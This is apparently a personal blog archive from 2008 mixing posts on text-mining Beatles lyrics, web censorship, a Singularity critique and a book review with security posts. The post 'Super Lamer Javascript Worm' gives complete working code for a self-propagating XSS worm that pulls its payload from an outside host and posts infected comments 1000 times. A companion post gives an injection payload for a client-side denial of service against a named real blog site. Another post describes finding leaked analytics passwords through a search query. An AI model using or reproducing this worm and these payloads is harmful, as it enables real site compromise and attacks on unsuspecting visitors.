domingo, 14 de diciembre de 2008

Danger: 3rd Party Google Analytics Widget


Casi me mando una torpeza, le agregue Google Analytics (GA) a este blog y queria poner un widget del mismo para que los visitantes vean la actividad. Probando los widgets recomendados por Blogger vi que solamente andaba uno que pedia el usuario y password de GA (claro como va a conocer las estadisticas sino, son privadas!). Luego me di cuenta que no esta bueno darles tu password de Google a los que hacen estos widgets porque tu password es tuyo (?) y ninguna 3rd party lo deberia guardar en sus servidores. Pero el problema mas grave fue que descubrí que este widget publica el usuario y el password dentro de su código. Vean:

<img height='1' src='http://gmodules.com/ig/rgp?
synd=blogger&
lang=es&
source=http%3A%2F%2Fmechanicalpoetry.blogspot.com%2F&
n=1&
url1=http%3A%2F%2Fhosting.gmodules.com%2Fig%2Fgadgets%2Ffile%2F113442111111660630273%2FGoogleAnalytics.xml
' width='1'/>

<iframe frameborder='0' height='200' id='1' name='1' src='http://1.blogger.gmodules.com/gadgets/ifr?
container=blogger&
mid=1&
v=cad198147a605c967a79e981625325&
lang=es&
country=ALL&
view=default&
up_selectedTab&
up_username=USUARIO_DE_BLOGGER_Y_O_GOOGLE&
up_password=PASSWORD&
up_account&
up_website&
up_daterange=One+Month&
url=http%3A%2F%2Fhosting.gmodules.com%2Fig%2Fgadgets%2Ffile%2F113442111111660630273%2FGoogleAnalytics.xml&
mid=1&
parent=http%3A%2F%2Fmechanicalpoetry.blogspot.com%2F'
style='width: 100%; display: block'>

</iframe>
La verdad que trate de encontrar gente que haya publicado su password y casi no la encontré (sera porque no existe ningun buscador web para codigo HTML/Javascript?). Lo único que encontre fue esto que sigue, el password no funciona asi que no hace faltan que lo prueben.

La búsqueda:

"up_password=" "gmodules.com"

y solamente encontré este sitio con un usuario y password públicos.

Por lo pronto queda picando el tema de los buscadores web que indexen HTML y Javascript completos. ¿Alguien conoce alguno?

lunes, 1 de diciembre de 2008

Censura en la Web

(afiche de la pelicula "1984", año 1956)

Luego de ver que Diego Maradona logró quitar el keyword "maradona" del buscador web Yahoo versión local de Argentina (Google apeló evitando temporalmente el fallo, ver How Maradona Censored Yahoo and Google), salio un artículo en el NYTimes (Google's Gatekeeper's) sobre los directivos de Google encargados de decidir que información y búsquedas se censuran dentro de los productos de ellos. En general, estas cuestiones se discuten país a país porque según ví los pedidos legales de censura provienen de los gobiernos nacionales de distintos paises.

También hubo casos de modelos que también fueron sacadas del Yahoo Seach Argentina, porque se quejaron legalmente de fotos suyas desnudas publicadas sin permiso. Aca hay ejemplos de búsquedas censuradas en Yahoo Argentina:
Con motivo de una orden judicial solicitada por partes privadas, nos hemos visto obligados a suprimir temporalmente todos o algunos de los resultados relacionados con ésta búsqueda.
Hay un sitio web que rastrea todos estos casos legales de censura en la Web, se llama Chilling Effects, estan armando una base de datos con las comunicaciones legales "Cease and Desist". Aca hay un ejemplo ("Agrandar el pene" Site Complains to Google #2) que tiene fragmentos interesantes. Disculpen por favor el contenido del ejemplo pero lo tuve que poner porque tiene secciones interesantes como pedidos de censura para keywords, ad words, etc.

Este pedido de censura es buenísimo, Disney Complains of Pirated "Pirates" Photos.

Posteen en los comentarios mas búsquedas censuradas si encuentran.

Enlace

domingo, 27 de julio de 2008

Textmining And The Politization of Beatles Lyrics (cont.)

View the previous posts here. In this one, I hear the ideas of a friend about how possibly Paul was more apolitical when written lyrics for the Beatles than John. So I added the results of John Lennon's lyrics and Paul McCartney lyrics to the curves plotted.

This is the result, now I made different plots for each of the two distances tested. Only the albums released before 1987 were included in the experiments.































Remember that we are comparing with the "Politics" article from Wikipedia (permanent link here). Closer to 0.0 means no vocabulary related with Politics article and 1.0 means that the lyrics have exactly the same vocabulary.

Viewing the Jaccard's distance we can observe that after the dissolution of the Beatles, John Lennon has a very political album: "Mind Games". An obvious objection is that this experiments don't consider the metaphorical power of language, only the syntactic content of the lyrics.

In the Sorensen-like distance plot it's observed that Paul is more politically inclined, maybe this has something to do with the size of the lyrics or the number of songs but the is some variation on the size of the album lyrics, Paul has bigger album lyrics.

I very interesting patter is seen on the Paul McCartney lyrics in the Sorensen-like distance plot. Three very similar cycles are observed, maybe this patterns are due to recording contracts requiring 4 albums, but I am just speculating.

martes, 17 de junio de 2008

Textmining And The Politization of Beatles Lyrics

In this post I will show you a little experiment I designed to use some basic text-mining concepts applied to the analysis of rock lyrics. I not a huge fan of The Beatles, but I really enjoy listening to the some of the latest albums and I questioned myself if those album where the most politically inclined or not. The answer was YES.

I compared the bag (multiset) of word of every Beatles Studio Album with a reference bag of words extracted from the Wikipedia article for Politics. The comparation included two similarity measures, Jaccard similarity and a Sorensen-like similarity I deviced (1.0 means very similar to politics article and 0.0 means nothing in common with the article).


For the former measure (Jaccard) the most political album resulted Sgt. Pepper's Lonely Hearts Club Band and for the latter was The White Album, my favorite Beatles album! This latter measure is more robust because uses word frequencies instead or word # of appearances. After that album a strong de-politization of the lyrics is observed.

miércoles, 4 de junio de 2008

AI Singularity or Gödel's Final Laugh

(in the photo are portrayed Gödel and Einstein)

I predict that in the coming decades, humanity will likely create a bunch of powerful institutes, misleading politicians to attract founding into esoteric, yet useless, areas of science. This will result in a new form of government, called Idiocracy.

In this post I will criticize some aspects of the foundations of the The Singularity Institute of Artificial Intelligence. On the other side, I found very intriguing some philosophical and scientific questions putted on the table by some scientists of the institute, but in general I think that the advocacy of the institute is fragile on several aspects.

I'll discuss some concepts that I think that are not accurate in the overview and mission of the Institute ("What is the Singularity?").

Human intelligence is the foundation of human technology
Human science is the foundation of human technology, in general, intelligent people not devoted to science are incapable of developing new technologies.

If technology can turn around and enhance intelligence, this closes the loop, creating a positive feedback effect.
The loop is already closed, humans, with or without the help of technology (like writing), can improve themselves through self-reflection, thinking and decision-making processses. Maybe the central issue is speed, they comment more on that aspect further ahead.

but it would also arise, albeit initially on a slower timescale, from humans with direct brain-computer interfaces creating the next generation of brain-computer interfaces,
I can't see why new interfaces will bring new intelligence, classic speech or keyboard have more to do with intelligence and symbolic processing that images and analogic movements.

The current estimate is that the typical human brain contains something like a hundred billion neurons and a hundred trillion synapses.
I believe the key ingredient here is linkage, besides there are a hundred trillion direct connections in the brain (synapses) the paths between neurons have a number much more larger than that. Regarding the importance of links in intelligence, I see much more potential on AI involving Internet, than in AI involving human-machine interfaces or virtual-environments. With regard to numbers, atomic operations per-second are not a guarantee, intellectual processes involves several entangled systems. We can use an analogy, having a third-world country with the same population as a first-world country doesn't make both country equally wealthy.

However, in the computing industry, benchmarks increase exponentially, typically with a doubling time of one to two years. The original Moore's Law says that the number of transistors in a given area of silicon doubles every eighteen months; today there is Moore's Law for chip speeds, Moore's Law for computer memory, Moore's Law for disk storage per dollar, Moore's Law for Internet connectivity, and a dozen other variants.
This "laws" can't continue forever, thermodynamics limits any kind of computation, wires are getting thinner, more heat is disipated, even quantum computter suffer from this limits when they interact with non-quantum computers. For a more detailed description, read for example Theory of Thermodynamics of Computation. From the economic side of this growth, its also non-sustainable, production of goods can't grow forever at an exponential growth, even if this benefits the governing elites. Also watch the following to observ exponential growth on power consumption.


But leave aside for the moment the question of how to build smarter minds, and ask what "smarter-than-human" really means. And as the basic definition of the Singularity points out, this is exactly the point at which our ability to extrapolate breaks down.We don't know because we're not that smart. We're trying to guess what it is to be a better-than-human guesser.
With this kind of sophist arguments you can protect concepts like God or related, if a supreme being exists then you can't comprehend its decisions or thinking. Anyone can speculate about things that don't exist, quimeras, flying hypos, etcetera. The last phrase resembles the Liar's Paradox "This sentence is false" formulated in an artificial intelligence context or the Berry's Paradox "The smallest positive integer not definable in under eleven words", in this case is something like "the smallest better-than-human intelligence described by humans".

Self-improvement is far harder than optimizing code; nonetheless, a mind with the ability to rewrite its own source code can potentially make itself faster as well.
From the psicological point-of-view I think that freewill can be used for self-improvement. On the other side, making transformations on computer codes have been proved to led to non-predictable results, because if results were predictable basic Computability Theory threorems will be false (computers cannot decide computer properties in general, view Rice's Theorem). Merging both points of view, is not difficult to argue that self-improvement is not predictable, complex decisions like this can often lead to opposite effects.

Combine faster intelligence, smarter intelligence, and recursively self-improving intelligence
Well, faster intelligence has been refuted with the "big numbers don't matter" argument, smarter intelligence is a sophism (smarter than what? is there a limit to human intelligence?) and the recursive self-improving concept if think is not applicable to practical computers, it's only a theoretical artifact, for example Optimal Universal Search, due to exponential time algorithms an huge constants involved.

Maybe in a following post I will attack the problem of "Why Work Toward the Singularity?". Is their founding money walking to a Black Hole Singularity?



lunes, 2 de junio de 2008

¿Luciano Miguens es en realidad Count Dooku, Tristan es Kirchner?

Bueno, finalmente este blog desvirtuó su enfoque académico. Incluyo una imagen política, espero cómica, que refleja un poco mi postura frente al conflicto actual en la Argentina por la retenciones a las exportaciones agrícolas.

Primero fue Benedicto XVI, se descubrió su alter-ego, el Emperador Palpatine.


Ahora descubrimos que Luciano Miguens, presidente de la Sociedad Rural Argentina, es en realidad Count Dooku, otro personaje de la saga Star Wars.


Para que no se enojen algunos amigos gorilas pongo también otro famoso descubrimiento, ya antiguo, por el cual nuestro ex-presidente no sería mas que otra reencarnación del cómico Tristán.

lunes, 21 de abril de 2008

Super Lamer Javascript Worm

In this case we will discuss how to build the most basic JavaScript Worm exploiting a JavaScript injection.

First, you need to find a multi-user weblog system that is affected a JavaScript injection in the commentaries left by the visitors, we will call it www.truchilog.com. For example, when the visitor is leaving his name maybe he can input:

</a><script src=http://badpage.googlepages.com/j.js></script><a>

Injecting a small JavaScript script that invokes another arbitrary long script hosted in a free service like GooglePages. To use it's complete viral power the worm must infect new weblogs through new malformed commentaries on another weblogs.

You must notice that in JavaScript to view the result of a HTTP request it must be sent from the same domain. In this basic worm, the new victims are retrieved from the home page of the weblog system, i.e. '/'. The using a regular expressions we located in the home new weblogs or post in the system and proceed with a HTTP POST request to inject the viral payload into a comentary.

In this hypotetical example, the weblog posts detected has the form 'name.truchilog.com/post_number'. The complete code in j.js follows, notice that to be extra malicious the victims are infected 1000 times.

// generic function to start a http connection
// from JavaScript, is multibrowser
function init_conn() {
var success = false;
var xmlhttp; // Setup a variable.
try {
// This checks for alternate browsers
// such as Opera or Firefox
xmlhttp = new XMLHttpRequest();
success = true;
} catch (e) {
// Oops, not one of those. Try different
// IE implementations.
var XHR = new Array('MSXML2.XMLHTTP.5.0',
'MSXML2.XMLHTTP.4.0',
'MSXML2.XMLHTTP.3.0',
'MSXML2.XMLHTTP',
'Microsoft.XMLHTTP');

for (var i=0;i < XHR.length && !success; i++) {
try {
xmlhttp = new ActiveXObject(XHR[i]);
success = true;
} catch (e) {}
}
if (!success) {
// No XMLHttpRequest object? Is this 1990?
throw new Error('No XHR object');
}
}

return xmlhttp;
}


function infect(text) {

// harvest the user and post_num from the last posts.
var regexp = new RegExp('http://[a-z0-9_]+.truchilog.com/[0-9]+/','g');
var mymatch = text.match(regexp);

for (var i = 0; i < mymatch.length; i++) {

// var mymatch = myregexp.exec(text);
chain = new String(mymatch[i]);
pieces = chain.split ("/"); // el separador es el espacio

user = pieces[2].split(".")[0];
post_num = pieces[3]

// inject the the small javascript in
//the post using the name and post_num collected

// URI to send params to
var targetURI = "/commentaries.php?F="+user+"&P="+post_num;
var params = 'Name=%3C%2Fa%3E%3Cscript+src%3Dhttp%3A%2F%2F';
params += 'badpage.googlepages.com%2Fj.js%3E%3C%2Fscript%3E&';
params += 'Commentary=Hello_your_blog_was_infected&EMail=&';
params += 'URLPage=&x=65&y=4';
xmlhttp = init_conn();
//Open XHR and then set headers.
xmlhttp.open("POST", targetURI, true);
xmlhttp.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");
//Send the parameters to the target.
xmlhttp.send(params);
}

}

// search for the last posts.

function p()
{
if(R.readyState==4)
{
var text = R.responseText;
// Setup a variable.
var xmlhttp;
// infect many times
for(i=0; i < 1000; i++) {
infect(text);
}
}
}

// start infection.
var R= init_conn();
R.onreadystatechange=p;
R.open('GET','/lastPosts.php',true);
R.send(null);



miércoles, 16 de abril de 2008

Super Lamer JavaScript Bomb

Esto no es muy avanzado, pero como no se mucho de programacion web y de cosas dinámicas como AJAX, me sirvió para aprender un poco más.

La idea es las páginas web pueden contener código JavaScript que haga requests HTTP dentro del mismo dominio web de la página y requests HTTP fuera del dominio pero sin ver el resultado. Entonces si alguna página web no filtra bien el contenido que deja poner y te permite inyectar JavaScript entonces podes hacer las cosas que hace la página web cuando alguién la accede. Un ejemplo famoso y descontrolado de esto fue el Worm de MySpace "samy is my hero".

Este tipo de inyecciones son conocidas como Cross Site Scripting cuando se realizan requests HTTP para robar información de usuarios de un dominio y mandarla a otro.

Dependiendo del caso se pueden hacer pocas cosas o muchas y generalmente hay restricciones de espacio y de cosas dadas por el dominio cambios en el dominio (www.foo.com en vez de foo.com), no se puede leer información de otros dominios, sí enviar.

En mi caso particular encontré una inyección de JavaScript en un sitio web de blogs, llamado Obolog. Mi idea era ver si es posible hacer un worm que no use informacion de usuario logueados, sino que replique solamente usando los comentarios de los blogs. Como solamente se pueden inyectar 256 carácteres lo único que pude hacer es un GET e imprimirlo para lograr un comentario anónimo persistente que hace que la página se autoreplique en el browser. es decir DoS (denial of service) del cliente. Esta falla ya fue reportada, con suerte será reparada en breve.

Si uno quiere meter esta mini-bomba JavaScript en un comentario de pablito.obolog.com/nombre-del-post-34543534 hay que meter en la parte del GET del siguiente código (compactado para que ocupe menos espacio) precedido por comillas dobles " para escapar del campo:

<script>
function p()
{
if(R.readyState==4)
{
for(i=0;i<2;i++)
document.write(R.responseText)
}
var R=new XMLHttpRequest();
R.onreadystatechange=p;
R.open('GET','/nombre-del-post-34543534',true);
R.send(null)
</script>


El efecto es que cuando el comentario esta cargado y se mira la página entonces la página pide otra copia de si misma al servidor y la imprime, siendo la copia (que incluye el código JavaScript) evaluada nuevamente de manera recursiva. La página se imprime dos veces para tratar de lograr un efecto exponencial, sin mucho exito creo.

Si la inyección puede ser mostrada en la página principal se puede meter '/' en la página y tener una bomba más genérica.

Ver el resultado en este comentario.


Como me ilustra mi amigo aurelianito, en realidad se puede hacer mucho más porque se puede incluir un archivo JavaScript completo de otro dominio usando algun truco básico como. Se nota que soy super lamer.


"><script src=http://subdom.site.com/js.js></script><noscript>


Entonces la cuestión se pone mucho más peligrosa ahora. El truco este del src fue extraido del artículo Anatomy of a "Pseudo-Reflective" Worm.

sábado, 29 de marzo de 2008

Identidad, de Zygmunt Bauman

Voy a comentar brevemente este libro de filosofía escrito por un sociólogo polaco/británico que acabo de leer (1ra edición, Buenos Aires: Losada 2005).

La verdad me gusto bastante. Esta escrito en forma de entrevista, la preguntas son fórmuladas por Benedetto Vecchi desde Italia, por correo, y son respondidas por Bauman extensamente.

La verdad no le tenía mucha fe porque es bastante posmoderno como filosófo, es decir, desconfía de la ciencia y de la técnica, y tiene un pulso más bien literario o pseudo-filosófico que filosófico. Pero en general la preguntas del entrevistador trataron de ser concisas, incidiendo sobre la temática de las naciones, estados, identidades y globalización.

Sospecho que las respuestas tienen cierto tratamiento estándar filosófico posmoderno de ciertos temas, como por ejemplo, decir que los individuos en los tiempos que corren se ven en una acelerada alienación frente a la necesidad de competir para ser exitosos/sobrevivir. Después hace también una crítica a los militantes anti-globalización cuando dice que no se pueden fabricar soluciones locales a un problema global, contradiciendo el lema de los mismos. A pesar de todo esto, se nota que me sorprendieron en el buen sentido muchas cosas porque no estoy familiarizado con los posmodernos. Es interesante, el análisis que hace de la guerra de Yugoslavia como una situación de el desmembramiento de un país generó una guerra de etnias que buscaron identificarse que algo ante el vació de identidad imperante en ese momento. Finalmente un extracto curioso donde nombra al Silicon Valley, acerca de las instituciones y la pertenencia:

Al mismo tiempo, si la duración promedio de un contrato laboral ("proyecto") en las unidades de alta tecnología más avanzadas de lugares tan admirados como Silicon Valley es de ocho meses, esa solidaridad de grupo que solía proporcionar el caldo de cultivo de la democracia no tiene tiempo de hechar raíces ni de madurar. Hay pocos motivos para esperar reciprocidad en la lealtad que uno profesa a un grupo o a una organización. Es poco aconsejable ("irracional") brindar semejante lealtad a crédito cuando es improbable que le paguen a uno con la misma moneda.



jueves, 3 de enero de 2008

Test

Hello world!